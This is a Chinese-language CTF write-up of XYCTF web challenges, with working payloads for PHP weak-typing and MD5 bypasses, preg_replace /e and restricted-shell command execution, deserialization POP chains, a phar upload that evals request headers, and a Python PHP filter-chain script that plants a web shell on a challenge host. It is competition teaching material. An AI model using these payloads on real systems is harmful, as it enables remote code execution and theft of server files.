ezhttp 题目描述:
开启环境
查看源码
御剑扫描发现/robots.txt
访问/robots.txt
访问/l0g1n.txt
得到账号和密码,登录系统
添加Referer
添加User-Agent
添加Client-IP
添加via
添加cookie
最后flag为XYCTF{92ed9b26-bb01-437f-8ad7-96d9cab4c657}
ezmd5 题目描述:
开启环境
根据题目名以及开启环境后说的上传图片,应该是需要上传两张MD5值相同的图片
这就用到了一个工具 fastcoll(md5碰撞器)
1 fastcoll_v1.0.0.5.exe -p 1.jpg -o 11.jpg 12.jpg
上传11.jpg和12.jpg点击比较图片得到flag
最后flag为XYCTF{bf2a5f97-82f0-44b4-8176-37beee9bf0f4}
warm up 题目描述:
开启环境
1 2 3 4 5 6 7 8 9 10 11 $val1 != $val2 && md5($val1) == md5($val2); # val1[]=1&val2[]=2 # 首先这两个数组肯定不相等,但是 Array 传入 md5 会返回 NULL,显然两个 NULL 是相等的 isset($md5) && $md5 == md5($md5); # 0e215962017 # 找一个 MD5 值为 0e 开头而且本身也是 0e 开头的字符串即可 $XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591"); # XY=0e215962017 # XYCTF_550102591 的 MD5 值是 0e 开头的,直接弱类型,上面那个就行
构造payload:
1 ?val1[]=1&val2[]=2&md5=0e215962017&XY=0e215962017&XYCTF=0e215962017
访问/LLeeevvveeelll222.php
数组绕过preg_match,preg_replace命令执行
1 2 3 4 5 6 isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a']); # a[]=1 preg_replace($_GET['a'], $_GET['b'], $_GET['c']); # ?a=/1/e&b=system('tac /f*')&c=1 # 这里的 /e 会将匹配到的内容作为 PHP 代码执行
构造payload:
1 2 ?a=/1/e&b=system('tac /f*')&c=1 a[]=1
最后flag为XYCTF{9636a894-1e70-4c1d-99b6-26ebaaff5d30}
ezMake 题目描述:
开启环境
随便输入试试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 PATH 环境变量被显式地设定为空。这段 Makefile 的逻辑检查了 PATH 是否未定义,如果未定义则设为空,如果已定义也重设为空。由于 PATH 被设置为空,shell 将无法定位到除内置命令之外的任何外部命令的位置。 Bash 内建命令 这些命令是由Bash自身提供,而不是独立的程序: alias - 定义或显示别名。 cd - 改变当前目录。 echo - 输出参数到标准输出。 exit - 退出当前shell。 export - 设置或显示环境变量。 history - 显示命令历史记录。 pwd - 打印当前工作目录的路径。 read - 从标准输入读取一行数据。 set - 设置或取消设置shell选项和位置参数。 type - 显示一个命令的类型。 unset - 删除变量或函数的定义。
参考makefile怎么读取文件内容 - 问答 - 亿速云
构造payload:
1 content := $(shell cat flag)
最后flag为XYCTF{6107057c-b418-49a5-9746-2e41c7e2cfba}
ez?Make 题目描述:
开启环境
flag在根目录下,cd到根目录下,使用more读取
构造payload:
1 cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&more [0-z][0-z][0-z][0-z]
最后flag为XYCTF{866c4308-d415-4d6d-99cc-042888a4dcd7}
εZ?¿м@Kε¿? 题目描述:
1 Μακεϝ1LE>1s<S0<ϜxxΚ1ηG_ξ2!@<>#>%%#!$*&^(!
开启环境,查看源码
访问/hint.php
白名单只有这些符号,测试发现payload长度<8
1 2 3 4 5 6 7 8 9 10 关于makefile的自动变量 Makefile中的自动变量是在规则执行时由make自动定义的变量。这些变量非常有用,因为它们可以自动获取文件名、目录名和更多的信息,使得Makefile编写更加简洁和灵活。下面是一些常用的自动变量: $@: 表示规则中的目标文件名。如果在模式规则中,它表示的是目标的一个实例。 $<: 表示规则中的第一个依赖文件名。 $?: 表示所有比目标文件还要新的依赖文件列表,用空格分隔。 $^: 表示所有的依赖文件列表,这些依赖文件以空格分隔,不包含重复的依赖文件。 $+: 这个变量和$^很像,但是它包含了所有的依赖文件,并保留了重复的文件。 $*: 在模式规则中,它表示匹配于目标模式中的%部分的字符串。例如,在规则 %.o: %.c 中,如果目标是 foo.o,则 $* 的值就是 foo。
$()
也能够执行命令,<
能够将东西输入到命令里,直接读取不行就用这样的方式读取:
将/flag
重新定向到一个bash -i
里
外部相当于bash -c
其实就相当于bash -c "bash -i /flag"
替换一下/flag
就是$<
payload:
最后flag为XYCTF{a611197a-c405-4ba7-ade0-b40f57350ac7}
牢牢记住,逝者为大 题目描述:
1 牢大在直升飞机上,快要坠机了,你能在有限的操作下救下牢大吗
开启环境
1 2 3 4 长度限制小于等于13 命令执行的几个函数都被过滤了 对于val,也就是我们传入的值进行了限制,不能够是上面的bin|mv|cp|ls|\||f|a|l|\?|\*|\>/ eval前后都有脏数据
用另一个变量往里面传参,那么就能不受长度的限制自由构造了
往1传参就能传到里面去,就能自由执行命令了
1 cmd=%0a`$_GET[1]`;%23&1=c''p /* .
用 ‘’ 来绕过过滤的 cp ,但是我们可以看到通配符是给过滤了的,我们就可以引出第二个技巧, [a-z] ,linux里用中括号可以根据ascii码来匹配里面的字符集, [a-z] 就是匹配任何小写字母a 到z中的一个字符,那么我们就能简单的构造出想要的字符了
1 cmd=%0a`$_GET[1]`;%23&1=c''p /[@-z][@-z][@-z]g .
直接访问flag就能下载到flag文件
最后flag为XYCTF{469ddc72-6ee2-4c7b-8ac7-b877016f8688}
ezRCE 题目描述:
开启环境
构造八进制
构造payload
1 ?cmd=$0<<<$%27\143\141\164\040\057\146\154\141\147%27
最后flag为XYCTF{7cf034a9-a1fb-43ca-8b3e-7f14e440f0d3}
ezPOP 题目描述:
1 哈哈哈,好简单的反序列化...诶?怎么构造执行啊= =
开启环境
1 2 3 4 5 6 7 8 9 10 11 关键点1.绕过 throw new Exception("noooooob!!!"); Fast-destruct即可:删除末尾的 } 快速触发 __destruct() (垃圾回收机制)从而绕过抛出异常终止执行 关键点2. call_user_func($a,$b)($c)($d); $b 是 $_POST 的数组(去除了a) 等价于 call_user_func($a,['key'=>'value'])($c)($d); call_user_func 用法 call_user_func($a,$b)($c)($d);这种构造很奇怪 要求我们call_user_func返回一个函数 $c是返回函数的入参,call_user_func($a,$b)($c)的返回值又是个以$d为入参的函数 其实还挺好操作的,题目里unset了一下$_POST['a'],其实就是把数组元素清了一个,有关数组的操作很容易可以想到current call_user_func('current','$_POST')返回值完全可控,可以令其为sprintf
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class AAA { public $s; public $a; } class BBB { public $c; public $d; } class CCC { public $c; } $b=new BBB(); $a=new AAA(); $c=new CCC(); $b->c="system"; $b->d="tac /f*"; $a->s=$b; $c->c=$a; echo serialize($c);
生成后删除末尾 }
payload:
1 2 3 4 5 O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:7:"cat /f*";s:1:"d";i:0;}s:1:"a";s:4:"test";} a=implode&b=system
最后flag为XYCTF{fdf4a70b-e3f7-440b-89c9-cf5392812201}
ezSerialize 题目描述:
开启环境
第一段:引用绕过强相等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting(0); class Flag { public $token; public $password; public function __construct() { } public function login() { return $this->token === $this->password; } } $a = new Flag(); $a->password = &$a->token; echo serialize($a);
构造payload
1 O:4:"Flag":2:{s:5:"token";N;s:8:"password";R:2;}
访问/fpclosefpclosefpcloseffflllaaaggg.php
PHP反序列化可控任意属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <?php highlight_file(__FILE__); class A { public $mack; public function __invoke() { $this->mack->nonExistentMethod(); } } class B { public $luo; public function __get($key){ echo "o.O<br>"; $function = $this->luo; return $function(); } } class C { public $wang1; public function __call($wang1,$wang2) { include 'flag.php'; echo $flag; } } class D { public $lao; public $chen; public function __toString(){ echo "O.o<br>"; return is_null($this->lao->chen) ? "" : $this->lao->chen; } } class E { public $name = "xxxxx"; public $num; public function __unserialize($data) { echo "<br>学到就是赚到!<br>"; echo $data['num']; } public function __wakeup(){ if($this->name!='' || $this->num!=''){ echo "旅行者别忘记旅行的意义!<br>"; } } } $a = new A; $b = new B; $c = new C; $d = new D; $e = new E; $e -> name = null; $e -> num = $d; $d -> lao = $b; $b -> luo = $a; $a -> mack = $c; echo serialize($e); if (isset($_POST['pop'])) { unserialize($_POST['pop']); } //O:1:"E":2:{s:4:"name";N;s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}}
构造payload
1 O:1:"E":2:{s:4:"name";N;s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}}
访问saber_master_saber_master.php
用stdClass类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <?php error_reporting(0); // flag.php class XYCTFNO1 { public $Liu; public $T1ng; private $upsw1ng; public function __construct() { } } class XYCTFNO2 { public $crypto0='dev1l'; public $adwa; public function __construct() { } public function XYCTF() { if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') { return False; } else { return True; } } } class XYCTFNO3 { public $KickyMu; public $fpclose; public $N1ght = "Crypto0"; public function __construct() { } public function XY() { if ($this->N1ght == 'oSthing') { echo "WOW, You web is really good!!!\n"; echo new $_POST['X']($_POST['Y']); } } public function __wakeup() { if ($this->KickyMu->XYCTF()) { $this->XY(); } } } $xy3 = new XYCTFNO3(); $xy2 = new XYCTFNO2(); $xy1 = new XYCTFNO1(); $d = new stdClass(); $xy3 -> KickyMu = $xy2; $xy3 -> N1ght = 'oSthing'; $xy2 -> adwa = $d; $d-> crypto0 = 'dev1l'; $d -> T1ng = 'yuroandCMD258'; echo urlencode(serialize($xy3));
构造payload
1 O%3A8%3A%22XYCTFNO3%22%3A3%3A%7Bs%3A7%3A%22KickyMu%22%3BO%3A8%3A%22XYCTFNO2%22%3A2%3A%7Bs%3A7%3A%22crypto0%22%3Bs%3A5%3A%22dev1l%22%3Bs%3A4%3A%22adwa%22%3BO%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A7%3A%22crypto0%22%3Bs%3A5%3A%22dev1l%22%3Bs%3A4%3A%22T1ng%22%3Bs%3A13%3A%22yuroandCMD258%22%3B%7D%7Ds%3A7%3A%22fpclose%22%3BN%3Bs%3A5%3A%22N1ght%22%3Bs%3A7%3A%22oSthing%22%3B%7D
php伪协议读文件全部内容
1 X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php
base解密
最后flag为XYCTF{7b67a1c4-a2c4-43ea-b5e9-caed7cac7447}
ezClass 题目描述:
开启环境
结构 new 一个类(参数)->执行方法 利用Error类的静态方法 getMessage返回任意字符结合php的动态执行特性
构造payload
1 ?a=Error&aa=system&b=Error&bb=cat /f*&c=getMessage
最后flag为XYCTF{e914f6e1-fd61-4e7e-a14e-d0961e5c1c9b}
pharme 题目描述:
开启环境
先创建phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class evil{ public $cmd; public $a; } @unlink('test.phar'); //删除之前的test.par文件(如果有) $phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀 $phar->startBuffering(); //开始写文件 $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //写入stub $o=new evil(); $o- >cmd='print_r(getallheaders());eval(reset(getallheaders()));__halt_compiler();'; $phar->setMetadata($o);//写入meta-data $phar->addFromString("test.txt","test"); //添加要压缩的文件 $phar->stopBuffering(); ?>
上传phar文件,文件上传存在典型检测 __HALT_COMPILER被过滤了 将生成的Phar文件进行gzip压缩绕过即可 gzip压缩后,修改后缀为jpg拿文件上传地址,访问class.php内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php error_reporting(0); highlight_file(__FILE__); class evil{ public $cmd; public $a; public function __destruct(){ if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){ eval($this->cmd.'isbigvegetablechicken!'); } else { echo 'nonono'; } } } if(isset($_POST['file'])) { if(preg_match('/^phar:\/\//i',$_POST['file'])) { die("nonono"); } file_get_contents($_POST['file']); }
关键点1. if(‘ch3nx1’ === preg_replace(‘/;+/‘,’ch3nx1’,preg_replace(‘/[A-Za-z_\ ()]+/‘,’’,$this->cmd))) 将 A-Z,a-z,_,(,) 替换为空后将留下的 ; 替换为 ch3nx1 后检查是否是等于 ch3nx1 简单来说就是典型的 ==无参代码执行RCE== 用常见的绕过手法即可 关键点2. preg_match(‘/^phar:///i 开头不能是phar:// 直接 php://filtr/resource=phar:// 绕过即可 关键点3. eval($this->cmd.’isbigvegetablechicken!’); 我们的问题是:如何正常执行前面内容而==忽视后面的编译错误== 通过利用 __halt_compiler 函数 中断编译器的执行 可以达成这个效果
等价执行了 print_r(getallheaders());eval(reset(getallheaders()));__halt_compiler(); eval() 执行host之前的请求头
连连看到底是连连什么看 题目描述:
1 到底连连什么看才对呢?(flag在根目录/flag下)
开启环境
点击about后存在一个文件包含
包含下index.php
访问/what’s_this.php
php_filter_chain
构造payload:
1 ?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags
最后flag为XYCTF{7b490872-d8b0-47cd-8c7b-98a6b6539b0d}
ezLFI 题目描述:
源码
1 <?php include_once($_REQUEST['file']);
filterchain
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import requests #参数file url = "http://gz.imxbt.cn:20644/1.php" file_to_use = "/flag/resource=/etc/passwd" command = "whoami" #<?=`$_GET[0]`;;?> base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4" conversions = { 'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2', 'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2', 'C': 'convert.iconv.UTF8.CSISO2022KR', '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2', '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB', 'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213', 's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61', 'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937', 'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932', 'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB', 'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5', '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', 'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2', 'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936', 'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2', 'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2', '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2', '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' } # generate some garbage base64 filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" # make sure to get rid of any equal signs in both the string we just generated and the rest of the file filters += "convert.iconv.UTF8.UTF7|" for c in base64_payload[::-1]: filters += conversions[c] + "|" # decode and reencode to get rid of everything that isn't valid base64 filters += "convert.base64-decode|" filters += "convert.base64-encode|" # get rid of equal signs filters += "convert.iconv.UTF8.UTF7|" filters += "convert.base64-decode" final_payload = f"php://filter/{filters}/resource={file_to_use}" print(final_payload) r = requests.get(url, params={ "0": command, #"action": "include", "file": final_payload }) print(r.text)